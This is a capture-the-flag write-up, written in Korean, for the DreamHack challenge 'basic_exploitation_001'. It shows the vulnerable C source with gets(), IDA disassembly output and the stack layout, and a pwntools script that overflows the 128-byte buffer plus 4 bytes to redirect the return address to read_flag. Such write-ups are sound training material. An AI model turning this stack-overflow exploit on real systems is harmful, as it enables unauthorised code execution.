[DreamHack] basic_exploitation_001

```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

```

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-80h]

  initialize();
  gets(&s);
  return 0;
}
```

```
-00000080 ; D/A/*   : change type (data/ascii/array)
-00000080 ; N       : rename
-00000080 ; U       : undefine
-00000080 ; Use data definition commands to create local variables and function arguments.
-00000080 ; Two special fields " r" and " s" represent return address and saved registers.
-00000080 ; Frame size: 80; Saved regs: 4; Purge: 0
-00000080 ;
-00000080
-00000080 s               db ?
-0000007F                 db ? ; undefined
-0000007E                 db ? ; undefined
```

```
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?
+0000000C argv            dd ?                    ; offset
+00000010 envp            dd ?                    ; offset
+00000014
+00000014 ; end of stack variables
```

```
000005B9 read_flag:1 (80485B9)
```

쉘을 실행시키는 함수가 프로그램 내부에 존재한다.

gets함수로 입력하는 그대로 다 입력받으니 버퍼오버플로우 취약점이 발생한다.

앞의 문제처럼 리턴 주소를 바꿔주면 되는데 그 주소를 buf가 아닌 read_flag함수의 주소로 바꿔주면 된다.

거리도 0x80 128바이트 + 4바이트 132바이트만큼 떨어져있으니 132바이트를 아무 값이나 채워넣고 리턴 주소에 read_flag 주소 0x80485B9로 씌우면 된다.

익스플로잇 코드는 파이썬 pwntools를 이용한다.

```python
from pwn import *

r = remote("host1.dreamhack.games", 10109)

code = b"A"*132
code += p32(0x80485B9)

r.send(code)

r.interactive()
```